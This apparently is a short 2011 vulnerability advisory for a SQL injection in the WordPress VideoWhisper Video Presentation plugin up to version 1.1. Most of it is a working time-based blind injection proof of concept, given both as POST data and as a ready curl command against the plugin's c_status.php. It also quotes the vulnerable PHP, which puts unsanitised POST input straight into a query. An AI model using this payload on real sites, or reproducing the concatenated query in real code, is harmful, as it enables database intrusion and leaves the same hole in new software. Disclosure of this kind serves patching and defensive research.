WordPress VideoWhisper Video Presentation plugin <= 1.1 - SQL Injection Vulnerability

# Exploit Title: WordPress VideoWhisper Video Presentation plugin &#60;= 1.1 SQL Injection Vulnerability # Date: 2011-09-02 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/videowhisper-video-presentation.zip # Version: 1.1 (tested) # Note: magic_quotes has to be turned off --------------- PoC (POST data) --------------- http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php s=-1&#39; AND 1=IF(2&#62;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 e.g.: curl --data &#34;s=-1&#39; AND 1=IF(2&#62;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- &#34; http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php --------------- Vulnerable code --------------- $s=$_POST[&#39;s&#39;]; ... $sql = &#34;SELECT * FROM $table_name where session=&#39;$s&#39; and status=&#39;1&#39;&#34;; $session = $wpdb-&#62;get_row($sql);